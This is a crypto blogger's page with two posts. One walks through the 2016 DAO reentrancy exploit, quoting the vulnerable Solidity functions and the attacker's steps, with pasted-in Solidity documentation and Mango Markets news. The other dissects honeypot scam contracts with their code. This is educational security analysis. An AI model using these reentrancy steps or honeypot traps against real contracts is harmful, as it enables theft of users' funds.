CryptoDeepTech

CryptoDeepTech

https://cryptodeeptool.ru
Пикабушник
36 рейтинг 25 подписчиков 0 подписок 63 поста 0 в горячем
Награды:
5 лет на Пикабу

Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack

In this article, we will look at a bug in the DAO code. The hacker exploited a bug in the code of the DAO and stole more or less $50 million worth of ether. I will focus here only on the main technical issue of the exploit: The fallback function. For a more detailed and advanced recount of the attack, the blog posts by Phil Daian and Peter Vessenes are highly recommended.

This post will be the first in what is potentially a series, deconstructing and explaining what went wrong at the technical level while providing a timeline tracing the actions of the attacker back through the blockchain. This first post will focus on how exactly the attacker stole all the money in the DAO.

A Multi-Stage Attack

This exploit in the DAO is clearly not trivial; the exact programming pattern that made the DAO vulnerable was not only known, but fixed by the DAO creators themselves in an earlier intended update to the framework’s code. Ironically, as they were writing their blog posts and claiming victory, the hacker was preparing and deploying an exploit that targeted the same function they had just fixed to drain the DAO of all its funds.

Let’s get into the overview of the attack. The attacker was analyzing DAO.sol, and noticed that the ‘splitDAO’ function was vulnerable to the recursive send pattern we’ve described above: this function updates user balances and totals at the end, so if we can get any of the function calls before this happens to call splitDAO again, we get the infinite recursion that can be used to move as many funds as we want (code comments are marked with XXXXX, you may have to scroll to see em):

function splitDAO( uint _proposalID, address _newCurator ) noEther onlyTokenholders returns (bool _success) { ... // XXXXX Move ether and assign new Tokens. Notice how this is done first! uint fundsToBeMoved = (balances[msg.sender] * p.splitData[0].splitBalance) / p.splitData[0].totalSupply; if (p.splitData[0].newDAO.createTokenProxy.value(fundsToBeMoved)(msg.sender) == false) // XXXXX This is the line the attacker wants to run more than once throw; ... // Burn DAO Tokens Transfer(msg.sender, 0, balances[msg.sender]); withdrawRewardFor(msg.sender); // be nice, and get his rewards // XXXXX Notice the preceding line is critically before the next few totalSupply -= balances[msg.sender]; // XXXXX AND THIS IS DONE LAST balances[msg.sender] = 0; // XXXXX AND THIS IS DONE LAST TOO paidOut[msg.sender] = 0; return true; }

The basic idea is this: propose a split. Execute the split. When the DAO goes to withdraw your reward, call the function to execute a split before that withdrawal finishes. The function will start running without updating your balance, and the line we marked above as “the attacker wants to run more than once” will run more than once. What does that do? Well, the source code is in TokenCreation.sol, and it transfers tokens from the parent DAO to the child DAO. Basically the attacker is using this to transfer more tokens than they should be able to into their child DAO.

How does the DAO decide how many tokens to move? Using the balances array of course:

uint fundsToBeMoved = (balances[msg.sender] * p.splitData[0].splitBalance) / p.splitData[0].totalSupply;

Because p.splitData[0] is going to be the same every time the attacker calls this function (it’s a property of the proposal p, not the general state of the DAO), and because the attacker can call this function from withdrawRewardFor before the balances array is updated, the attacker can get this code to run arbitrarily many times using the described attack, with fundsToBeMoved coming out to the same value each time.

The first thing the attacker needed to do to pave the way for his successful exploit was to have the withdraw function for the DAO, which was vulnerable to the critical recursive send exploit, actually run. Let’s look at what’s required to make that happen in code (from DAO.sol):

function withdrawRewardFor(address _account) noEther internal returns (bool _success) { if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) throw; uint reward = (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account]; if (!rewardAccount.payOut(_account, reward)) // XXXXX vulnerable throw; paidOut[_account] += reward; return true; }

If the hacker could get the first if statement to evaluate to false, the statement marked vulnerable would run. When that statements runs, code that looks like this would be called:

function payOut(address _recipient, uint _amount) returns (bool) { if (msg.sender != owner || msg.value > 0 || (payOwnerOnly && _recipient != owner)) throw; if (_recipient.call.value(_amount)()) { // XXXXX vulnerable PayOut(_recipient, _amount); return true; } else { return false; }

Notice how the marked line is exactly the vulnerable code mentioned in the description of the exploit we linked!

That line would then send a message from the DAO’s contract to “_recipient” (the attacker). “_recipient” would of course contain a default function, that would call splitDAO again with the same parameters as the initial call from the attacker. Remember that because this is all happening from inside withdrawFor from inside splitDAO, the code updating the balances in splitDAO hasn’t run. So the split will send more tokens to the child DAO, and then ask for the reward to be withdrawn again. Which will try to send tokens to “_recipient” again, which would again call split DAO before updating the balances array.

And so it goes:

  1. Propose a split and wait until the voting period expires. (DAO.sol, createProposal)

  2. Execute the split. (DAO.sol, splitDAO)

  3. Let the DAO send your new DAO its share of tokens. (splitDAO -> TokenCreation.sol, createTokenProxy)

  4. Make sure the DAO tries to send you a reward before it updates your balance but after doing (3). (splitDAO -> withdrawRewardFor -> ManagedAccount.sol, payOut)

  5. While the DAO is doing (4), have it run splitDAO again with the same parameters as in (2) (payOut -> _recipient.call.value -> _recipient())

  6. The DAO will now send you more child tokens, and go to withdraw your reward before updating your balance. (DAO.sol, splitDAO)

  7. Back to (5)!

  8. Let the DAO update your balance. Because (7) goes back to (5), it never actually will :-).

(Side note: Ethereum’s gas mechanics don’t save us here. call.value passes on all the gas a transaction is working with by default, unlike the send function. so the code will run as long as the attacker will pay for it, which considering it’s a cheap exploit means indefinitely)

Armed with this, we can provide a step by step re-trace of how The DAO got emptied out.

Step 1: Proposing the Split

The first step towards all of the above is to simply propose a regular split, as we’ve mentioned.

The attacker does this in the blockchain here in DAO Proposal #59, with the title “Lonely, so Lonely”.

Because of this line:

// The minimum debate period that a split proposal can have uint constant minSplitDebatePeriod = 1 weeks;

he had to wait a week for the proposal to see approval. No matter, it’s just a split proposal like any other! Nobody will look too closely at it, right?

Step 2: Getting the Reward

Let’s take a look at the DAO’s reward address. The DAO accounting documentation from Slockit pegs this address as 0xd2e16a20dd7b1ae54fb0312209784478d069c7b0. Check that account’s transactions and you see a pattern: 200 pages of .00000002 ETH transactions to 0xf835a0247b0063c04ef22006ebe57c5f11977cc4 and 0xc0ee9db1a9e07ca63e4ff0d5fb6f86bf68d47b89, the attacker’s two malicious contracts (which we cover later). That’s one transaction for each recursive call of withdrawRewardFor, which we described above. So in this case there actually was a balance in the rewards account, and the attacker gets to collect some dust.

Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack Криптовалюта, Биткоины, NFT, Валюта, Видео, YouTube, Длиннопост

Step 3: The Big Short

A number of entirely unsubstantiated allegations on social media have pointed to a $3M Ethereum short that occurred on Bitfinex just moments before the attack, claiming this short closed with almost $1M USD of profit.

It’s obvious to anyone constructing or analyzing this attack that certain properties of the DAO (specifically that any split must be running the same code as the original DAO) require an attacker to wait through the creation period of their child DAO (27 days) before withdrawing any coins in a malicious split. This gives the community time to respond to a theft, through either a soft fork freezing attacker funds or a hard fork rolling back the compromise entirely.

Any financially motivated attacker who had attempted their exploit on the testnet would have an incentive to ensure profits regardless of a potential rollback or fork by shorting the underlying token. The staggering drop that resulted within minutes of the smart contract that triggered the malicious split provided an excellent profit opportunity, and while there is no proof the attacker took the profit opportunity, we can at least conclude that after all this effort they would have been stupid not to.

Step 3a: Preventing Exit (Resistance is Futile)

Another contingency that the attacker needed to think of is the case that a DAO split occurs before the attacker can finish emptying the DAO. In this case, with another user as sole curator, the attacker would have no access to DAO funds.

Unfortunately the attacker is a smart guy: there is evidence that the attacker has voted yes on all split proposals that come to term after his own, making sure that he would hold some tokens in the case of any DAO split. Because of a property of the DAO we’ll discuss later in the post, these split DAOs are vulnerable to the same emptying attack we’re describing here. All the attacker has to do is sit through the creation period, send some Ether to the reward account, and propose and execute a split by himself away from this new DAO. If he can execute before the curator of this new DAO updates the code to remove the vulnerability, he manages to squash all attempts to get Ether out of the DAO that aren’t his own.

Notice by the timestamps here that the attacker did this right around the time he started the malicious split, almost as an afterthought. I see this more as an unnecessary middle finger to the DAO than a financially viable attack: having already emptied virtually the entire DAO, going through this effort to pick up any pennies that might be left on the table is probably an attempt to demoralize holders into inaction. Many have concluded, and I agree, that this hints at the attacker’s motivations being a complete destruction of the DAO that goes beyond profit taking. While none of us know the truth here, I do recommend applying your own judgment.

Interestingly enough, this attack was described by Emin Gün Sirer after it had already occurred on the blockchain, but before the public had noticed.

Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack Криптовалюта, Биткоины, NFT, Валюта, Видео, YouTube, Длиннопост

Step 4: Executing the Split

So we’ve painstakingly described all the boring technical aspects of this attack. Let’s get to the fun part, the action: executing the malicious split. The account that executed the transactions behind the split is 0xf35e2cc8e6523d683ed44870f5b7cc785051a77d.

The child DAO they sent funds to is 0x304a554a310c7e546dfe434669c62820b7d83490. The proposal was created and initiated by account 0xb656b2a9c3b2416437a811e07466ca712f5a5b5a (you can see the call to createProposal in the blockchain history there).

Deconstructing the constructor arguments that created that child DAO leads us to a curator at 0xda4a4626d3e16e094de3225a751aab7128e96526. That smart contract is just a regular multisignature wallet, with most of its past transactions being adding/removing owners and other wallet management tasks. Nothing interesting there.

Johannes Pfeffer on Medium has an excellent blockchain-based reconstruction of the transactions involved in the malicious Child DAO. I won’t spend too much time on such blockchain analysis, since he’s already done a great job. I highly encourage anyone interested to start with that article.

In the next article in the series, we’ll look at the code from the malicious contract itself (containing the exploit that actually launched the recursive attack). In the interest of expedience of release, we have not yet completed such an analysis.

Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack Криптовалюта, Биткоины, NFT, Валюта, Видео, YouTube, Длиннопост

Step 4a: Extending the Split

This step is an update to the original update, and covers how the attacker was able to turn a ~30X amplification attack (due to the max size of Ethereum’s stack being capped at 128) to a virtually infinite draining account.

Savvy readers of the above may notice that, even after overwhelming the stack and executing many more malicious splits than was required, the hacker would have their balance zeroed out by the code at the end of splitDAO:

function splitDAO( .... withdrawRewardFor(msg.sender); // be nice, and get his rewards totalSupply -= balances[msg.sender]; balances[msg.sender] = 0; paidOut[msg.sender] = 0; return true; }

So how did the attacker get around this? Thanks to the ability to transfer DAO tokens, he didn’t really need to! All he had to do was call the DAO’s helpful transfer function at the top of his stack, from his malicious function:

function transfer(address _to, uint256 _amount) noEther returns (bool success) { if (balances[msg.sender] >= _amount && _amount > 0) { balances[msg.sender] -= _amount; balances[_to] += _amount; ...

By transferring the tokens to a proxy account, the original account would be zeroed out correctly at the end of splitDAO (notice how if A transfers all its money to B, A’s account is already zeroed out by transfer before it can be zeroed out by splitDAO). The attacker can then send the money back from the proxy account to the original account and start the whole process again. Even the update to totalSupply in splitDAO is missed, since p.totalSupply[0] is used to calculate the payout, which is a property of the original proposal and only instantiated once before the attack occurs. So the attack size stays constant despite less available ETH in the DAO with every iteration.

The evidence of two malicious contracts calling into withdrawRewardFor on the blockchain suggests that the attacker’s proxy account was also an attack-enabled contract that simply alternated as the attacker with the original contract. This optimization saves the attacker one transaction per attack cycle, but otherwise appears unnecessary.

Was 1.1 Vulnerable?

Because this vulnerability was in withdrawRewardFor, a natural question to ask is whether the DAO 1.1, with the updated function, was still vulnerable to a similar attack. The answer: yes.

Check out the updated function (especially the marked lines):

function withdrawRewardFor(address _account) noEther internal returns (bool _success) { if ((balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply < paidOut[_account]) throw; uint reward = (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account]; reward = rewardAccount.balance < reward ? rewardAccount.balance : reward; paidOut[_account] += reward; // XXXXX if (!rewardAccount.payOut(_account, reward)) // XXXXX throw; return true; }

Notice how paidOut is updated before the actual payout is made now. So how does this affect our exploit? Well, the second time getRewardFor is called, from inside the evil second call to splitDAO, this line:

uint reward = (balanceOf(_account) * rewardAccount.accumulatedInput()) / totalSupply - paidOut[_account];

will come out to 0. The payOut call will then call _recipient.call.value(0)(), which is the default value for that function, making it equivalent to a call to

_recipient.call()

Because the attacker paid for a lot of gas when sending his malicious split transaction, the recursive attack is allowed to continue with a vengeance.

Realizing they needed a 1.2 6 days after a 1.1, on code designed to be secure for years, is probably why the DAO’s puppet masters called it quits.

An Important Takeaway

I think the susceptibility of 1.1 to this attack is really interesting: even though withdrawReward for was not vulnerable by itself, and even though splitDAO was not vulnerable without withdrawRewardFor, the combination proves deadly. This is probably why this exploit was missed in review so many times by so many different people: reviewers tend to review functions one at a time, and assume that calls to secure subroutines will operate securely and as intended.

In the case of Ethereum, even secure functions that involve sending funds could render your original function as vulnerable to reentrancy. Whether they’re functions from the default Solidity libraries or functions that you wrote yourself with security in mind. Special care is required in reviews of Ethereum code to make sure that any functions moving value occur after any state updates whatsoever, otherwise these state values will be necessarily vulnerable to reentrancy.

I won’t cover the fork debate or what’s next for Ethereum and The DAO here. That subject is being beaten to death on every form of social media imaginable.

For our series of posts, the next step is to reconstruct the exploit on the TestNet using the DAO 1.0 code, and demonstrate both the code behind the exploit and the mechanism of attack. Please note that if someone beats me to these objectives, I reserve the right to cap the length of the series at one.

Solidity

Solidity is an object-oriented, high-level language for implementing smart contracts. Smart contracts are programs that govern the behavior of accounts within the Ethereum state.

Solidity is a curly-bracket language designed to target the Ethereum Virtual Machine (EVM). It is influenced by C++, Python, and JavaScript. You can find more details about which languages Solidity has been inspired by in the :doc:`language influences <language-influences>` section.

Solidity is statically typed, supports inheritance, libraries, and complex user-defined types, among other features.

With Solidity, you can create contracts for uses such as voting, crowdfunding, blind auctions, and multi-signature wallets.

When deploying contracts, you should use the latest released version of Solidity. Apart from exceptional cases, only the latest version receives security fixes. Furthermore, breaking changes, as well as new features, are introduced regularly. We currently use a 0.y.z version number to indicate this fast pace of change.

Warning

Solidity recently released the 0.8.x version that introduced a lot of breaking changes. Make sure you read :doc:`the full list <080-breaking-changes>`.

Ideas for improving Solidity or this documentation are always welcome, read our :doc:`contributors guide <contributing>` for more details.

Hint

You can download this documentation as PDF, HTML or Epub by clicking on the versions flyout menu in the bottom-left corner and selecting the preferred download format.

Getting Started

1. Understand the Smart Contract Basics

If you are new to the concept of smart contracts, we recommend you to get started by digging into the “Introduction to Smart Contracts” section, which covers the following:

2. Get to Know Solidity

Once you are accustomed to the basics, we recommend you read the :doc:`”Solidity by Example” <solidity-by-example>` and “Language Description” sections to understand the core concepts of the language.

3. Install the Solidity Compiler

There are various ways to install the Solidity compiler, simply choose your preferred option and follow the steps outlined on the :ref:`installation page <installing-solidity>`.

Hint

You can try out code examples directly in your browser with the Remix IDE. Remix is a web browser-based IDE that allows you to write, deploy and administer Solidity smart contracts, without the need to install Solidity locally.

Warning

As humans write software, it can have bugs. Therefore, you should follow established software development best practices when writing your smart contracts. This includes code review, testing, audits, and correctness proofs. Smart contract users are sometimes more confident with code than their authors, and blockchains and smart contracts have their own unique issues to watch out for, so before working on production code, make sure you read the :ref:`security_considerations` section.

4. Learn More

If you want to learn more about building decentralized applications on Ethereum, the Ethereum Developer Resources can help you with further general documentation around Ethereum, and a wide selection of tutorials, tools, and development frameworks.

If you have any questions, you can try searching for answers or asking on the Ethereum StackExchange, or our Gitter channel.

Translations

Community contributors help translate this documentation into several languages. Note that they have varying degrees of completeness and up-to-dateness. The English version stands as a reference.

You can switch between languages by clicking on the flyout menu in the bottom-left corner and selecting the preferred language.

Note

We set up a GitHub organization and translation workflow to help streamline the community efforts. Please refer to the translation guide in the solidity-docs org for information on how to start a new language or contribute to the community translations.

Contents

Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack Криптовалюта, Биткоины, NFT, Валюта, Видео, YouTube, Длиннопост
Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack Криптовалюта, Биткоины, NFT, Валюта, Видео, YouTube, Длиннопост
Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack Криптовалюта, Биткоины, NFT, Валюта, Видео, YouTube, Длиннопост
Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack Криптовалюта, Биткоины, NFT, Валюта, Видео, YouTube, Длиннопост

Basic concepts

Example

The following is sample code for a contract vulnerable to a malicious fallback function of another contract. In this example we have two contracts: (i) the contract Bank (vulnerable contract) and (ii) the contract BankAttacker (malicious contract). Imagine that the contract Bank is the DAO smart contract but much more simplified and the contract BankAttacker is the hacker’s malicious smart contract that emptied the DAO.

The hacker initiates the interaction with contract Bank through its malicious contract and the sequence of the actions is as follows:

  1. The first thing the hacker does is send ether (75 wei) to the vulnerable contract through the deposit function of the malicious contract. This function calls the addToBalance function of the vulnerable contract.

  2. Then, the hacker withdraws, through the withdraw function of the malicious contract, the same amount of wei (75), triggering the withdrawBalance function of the vulnerable contract.

  3. The withdrawBalance function first sends ether (75 wei) to the malicious contract, triggering its fallback function, and last updates the userBalances variable (that this piece is done last is very important for the attack).

  4. The malicious fallback function calls the withdrawBalance function again (recursive call), doubling the withdraw, before the execution of the first withdrawBalance function finishes, and thus, without updating the userBalances variable.

In this example, there are only two recursive calls to the withdrawBalance function so the hacker ends up with a balance of 150 wei. They took more than they should (75 wei) because the userBalance variable is the last thing set/updated.

One important point is that unlike the JavaScript’s blocks of code, the EVM executes instructions synchronously, one after the other, and this is why the userBalance variable is updated only after the previous code is finished.

The following is a more graphic explanation of the example. The instances referred in this graphic are the different states of the contracts saved in the blockchain. In the graphic you will see that the hacker, through his/her/their external account, triggers the malicious contract, so this contract can interact with the vulnerable contract.

Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack Криптовалюта, Биткоины, NFT, Валюта, Видео, YouTube, Длиннопост

Last, here is the example in JavaScript, just in case you are not very familiar with Solidity yet.

The hacker stole over $100 million in crypto from the Mango Markets Exchange on Tuesday, and may get to keep almost half of it.

Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack Криптовалюта, Биткоины, NFT, Валюта, Видео, YouTube, Длиннопост

Mango DAO has offered a deal to the thief who made off with $100 million in crypto from an exploit in the Mango Markets platform earlier this week—a way to avoid a criminal investigation and pay off bad debt.

The Mango DAO, a decentralized autonomous organization that manages Mango Markets, has offered the hacker a bug bounty of $47 million, meaning that the thief would be required to send back $67 million worth of tokens under the terms of the deal.

“We are seeking to make users whole to the extent possible,” the Mango DAO proposal says, addressing the thief.

On Tuesday, a hacker was able to steal over $100 million through an exploit in the Mango Markets Solana DeFi exchange. The attacker temporarily drove up the value of their collateral and then took out loans from the Mango treasury.

The DAO is a so-called Decentralized Autonomous Organization (“DAO”). DAOs run through rules encoded as smart contracts, which in turn are computer programs that facilitate, verify, or enforce the negotiation or performance of a contract, or that make a contractual clause unnecessary. In simple terms, think of any contract between two parties that gets translated into code, so it doesn’t need any external action but does automatically what was agreed. Smart Contracts are a pretty revolutionary and powerful concept by itself and if you want to know more about it, read our separate post on the subject.

The idea of a DAO somewhat is that once launched it can run based on its underlying smart contracts alone. The DAO’s smart contracts are based on Etherum, a public blockchain (which is a distributed database – for more information on blockchain, see here) platform with programmable transaction functionality that is also the basis for ether (or ETH), a cryptocurrency. ETH is a cryptocurrency similar to Bitcoin, but very popular since it offers a wider range of services and therefore sometimes considered a considerable challenger of Bitcoin as the leading cryptocurrency.

The DAO is fuelled using ether, which creates DAO tokens. DAO token holders will have the right to vote on investment proposals (proportional to the number of tokens held) as well as the opportunity to receive rewards generated by the output of the work from the contractors’ proposals. Since it is decentralized autonomous organization that is represented only by its smart contracts, it has no physical address and people only interact as contractors or curators, but not in managerial roles in the traditional sense. However, it is supported by a limited company and a cryptocurrency exchange in Switzerland, both chosen with a view to the legal and regulatory framework. The DAO is intended as a form of venture capital vehicle that would invest in projects in the sharing economy. Prior to the attack, the fund’s value was around $150 million in ether.

So while its creators hoped to build a more democratic financial institution that would be safe against the fallibility of humans by trusting the trustless concept of the blockchain and smart contracts, it seems human error is at the bottom of the heist.

In an interesting post at Coindesk, a US lawyer discussed the incident from a perspective of criminal law (Theft? Yes!), civil law (sue the hacker? Sure, seems everything can be sued) and tort law.

And even more interesting is the question whether the hacker only exploited a loophole in the code. In a message to the DAO and the Ethereum community, which is allegedly from the person responsible for the attack, the hacker described his action simply as using an intentional feature of the code and stated that any action to get the funds back, would amount to seizure of my legitimate and rightful ether, claimed legally through the terms of a smart contract, threatening trying to do so with legal action.

Everything is in flux: at the time of writing this, the DAO community is voting on whether to take action and, if so, in what form. Someone claiming to be an intermediary on behalf of the attackers has published a note, making it look like their holding the stolen ether ransom, and tweets on the subject get seemingly posted every second.

So to summarise, plenty of open questions, an uncertain future for the DAO, but maybe there is a silver lining that comes from this. Maybe this is only a costly episode on a steep learning curve, similar to other forms of innovation, and maybe this will lead to more care, diligence and scrutiny in future blockchain projects, which in the end might not be so bad after all.

Literature:

Conclusion

I’ve learned a lot understanding the DAO exploit, mainly that programming smart contracts is not an easy task and it should be done rigorously. I still have lots of unsolved questions such as: Do we need fallback functions at all? Apparently this was fixed in the new version of Solidity. However, the problem is still present at the EVM level because a hacker can program in opcode and avoid the Solidity’s security

GitHub

Telegram: https://t.me/cryptodeeptech

Video: https://youtu.be/-QDYiKCwOaA

Source: https://cryptodeeptech.ru/dao-exploit

Криптоанализ DAO Exploit и Многоэтапная Атака // Cryptanalysis of the DAO exploit & Multi-Stage Attack Криптовалюта, Биткоины, NFT, Валюта, Видео, YouTube, Длиннопост

Криптоанализ

Показать полностью 10

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity

Following the article: “Solidity Forcibly Send Ether Vulnerability to a Smart Contract continuation of the list of general EcoSystem security from attacks”. In this article, we will continue this topic related to vulnerabilities and traps. In the process of cryptanalysis of various cryptocurrencies, we are increasingly getting loopholes and backdoors. Honeypots work by luring attackers with a balance stored in the smart contract, and what appears to be a vulnerability in the code. Typically, to access the funds, the attacker would have to send their own funds, but unbeknownst to them, there is some kind of recovery mechanism allowing the smart contract owner to recover their own funds along with the funds of the attacker.

Let’s look at a couple different real world examples:

pragma solidity ^0.4.18; contract MultiplicatorX3 { address public Owner = msg.sender; function() public payable{} function withdraw() payable public { require(msg.sender == Owner); Owner.transfer(this.balance); } function Command(address adr,bytes data) payable public { require(msg.sender == Owner); adr.call.value(msg.value)(data); } function multiplicate(address adr) public payable { if(msg.value>=this.balance) { adr.transfer(this.balance+msg.value); } } }

In this contract, it seems that by sending more than the contract balance to multiplicate(), you can set your address as the contract owner, then proceed to drain the contract of funds. However, although it seems that this.balance is updated after the function is executed, it is actually updated before the function is called, meaning that multiplicate() is never executed, yet the attackers funds are locked in the contract.

pragma solidity ^0.4.19; contract Gift_1_ETH { bool passHasBeenSet = false; function()payable{} function GetHash(bytes pass) constant returns (bytes32) {return sha3(pass);} bytes32 public hashPass; function SetPass(bytes32 hash) public payable { if(!passHasBeenSet&&(msg.value >= 1 ether)) { hashPass = hash; } } function GetGift(bytes pass) external payable { if(hashPass == sha3(pass)) { msg.sender.transfer(this.balance); } } function PassHasBeenSet(bytes32 hash) public { if(hash==hashPass) { passHasBeenSet=true; } } }

This contract is especially sneaky. So long as passHasBeenSet is still set to false, anyone could GetHash(), SetPass(), and GetGift(). The sneaky part of this contract, is that the last sentence is entirely true, but the problem is that passHasBeenSet is already set to true, even though it’s not in the etherscan transaction log.

You see, when smart contracts make transactions to each other they don’t appear in the transaction log, this is because they perform what’s known as a message call and not a transaction. So what happened here, must have been some external contract setting the pass before anyone else could.

A safer method the attacker should have used would have been to check the contract storage with a security analysis tool.

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост
Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост

Hardly a week passes without large scale hacks in the crypto world. It’s not just centralised exchanges that are targets of attackers. Successful hacks such as the DAO, Parity1 and Parity2 have shown that vulnerabilities in smart contracts can lead to losing digital assets worth millions of dollars. Attackers are driven by making profits and with the incredible value appreciation in 2017 in the crypto world, individuals and organisations who hold or manage digital assets are often vulnerable to attacks. Especially smart contracts have become a prime target for attackers for the following reasons:

  • Finality of transactions: This is a special property of blockchain systems and it means that once a transaction (or state change) took place it can’t be taken back or at least not with grave consequences which in case of the DAO hack led to a hard fork. For an attacker targeting smart contracts, finality is a great property since a successful attack can not easily be undone. In traditional banking systems this is quite different, an attack even though initially successful could be stopped and any transactions could be rolled back if noticed early enough.

  • Monetising successful attacks is straight forward: Once the funds of a smart contract can be withdrawn to an attacker’s account, transferring the funds to an exchange and cashing out in Fiat while concealing ones identity is something that the attackers can get away with if they are careful enough.

  • Availability of contract source code / byte code: Ethereum is a public blockchain and so at least the byte code of a smart contract is available to anyone. Blockchain explorers such Etherscan allow also to attach source code to a smart contract and so giving access to high level Solidity code to potential attackers.

Since we have established now why attackers find smart contracts attractive targets, let’s further look into the circumstances that could decide if a smart contracts gets attacked:

  1. Balance: The greater the balance of a smart contract the more attackers will try to attack it and the more time they are willing to spend to find a vulnerability. This is an easier economic equation than for none smart contract targets since the balance that can be potentially stolen is public and attackers have certainty on how profitable a successful attack could be.

  2. Difficulty/Time: This is the unknown variable in the equation. Yet the approach to look for potential targets can be automated by using smart contract vulnerability scanners. Availability of source code addtionally decreases analyis time while also lowering the bar for potential attackers to hack smart contracts since byte code is harder to read and therefore it takes more skill and time to analyse.

Taking the two factors above in consideration, one could assume that every smart contract published to the main net with a sufficient balance is analysed automatically by scanners or/and manually by humans for vulnerabilities and is likely going to be exploited if it is in fact vulnerable. The economic incentives and the availability of smart contracts on the public chain have given rise to a very active group attackers, trying to steal from vulnerable smart contracts. Among this larger group of attackers, a few seem to have specialised to hack the hackers by creating seemingly vulnerable smart contracts. In many ways these contracts have resemblance to honeypot systems. They are created to lure attackers with the following properties:

  • Balance: Honeypots are created with an initial balance that often seem to be in the range of 0.5–1.0 ETH.

  • Vulnerability: A weakness in the code that seemingly allows an attacker to withdraw all the funds.

  • Recovery Mechanism: Allows owner to reclaim the funds including the funds of the attacker.

Let’s analyse three different types of smart contract honeypots that I have come across over the last couple of weeks.

honeypot1: Multiplicator.sol

The contract’s source code was published on Etherscan with a seemingly vulnerable function. Try to spot the trap.

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост

GITHUB

This is a really a short contract and the multiplicate() function is the only function that does allow a call from anyone else than the owner of the contract. At first glance it looks like by transferring more than the current balance of the contract it is possible to withdraw the full balance. Both statements in line 29 and 31 try to reinforce the idea that this.balance is somehow credited after the function is finished. This is a trap since the this.balance is updated before the multiplicate() function is called and so if(msg.value>=this.balance) is never true unless this.balance is initially zero.

It seems that someone has actually tried to call multiplicate() with 1.1 Ether. Shortly after the owner has withdrawn the full balance.

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост

honeypot2: Gift_1_ETH.sol

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост

GITHUB

The contract has a promising name, if you want to figure out the trap yourself have a look at the code here. Also check out the transaction log … why did 0xc4126a64c546677146FfB3f3D5A6F6d5A2F94DF1 lose 1 ETH?

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост
Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост
Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост

It seems that 0xc4126a64c546677146FfB3f3D5A6F6d5A2F94DF1 did everything right. First SetPass() was called to overwrite hashPass and then GetGift() to withdraw the Ether. Also the attacker made sure PassHasBeenSet() has not been called. So what went wrong?

One important piece of information in order to understand honeypot2 is to clarify what internal transactions are. They actually do not exist according to the specifications in the Ethereum Yellow Paper (see Appendix A for terminologies). Transactions can only be sent by External Actors to other External Actors or non-empty associated EVM Code accounts or what is commonly referred to as smart contracts. If smart contracts exchange value between each other then they perform a Message Call not a Transaction. The terminology used by EtherScan and other blockchain explorers can be misleading.

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост

It’s interesting how one takes information as a given truth if the data comes from a familiar source. In this case EtherScan does not show the full picture of what happened. The assumption is that the transaction (or message call) should show up in internal transactions tab but it seems that calls from other contracts that have msg.value set to zero are not listed currently. Etherchain on the other hand shows the transaction (or message call) that called PassHasBeenSet() with the correct hash and so denying any future password reset. The attacker (in this case more of a victim) could have also been more careful and actually read the contract storage with Mythril for instance. It would have been apparent that passHasBeenSet is already set to true.

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост
Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост
Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост
Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост

honeypot3: TestToken

I have taken the trick from the honeypot contract WhaleGiveaway1 (see analysis) and combined it with one of my own ideas. The contract is available here on my Github. Something is missing here …

Феномен от Blockchain Криптовалют // Уязвимые приманки Solidity Криптовалюта, NFT, Биткоины, Финансы, Валюта, Видео, YouTube, Длиннопост

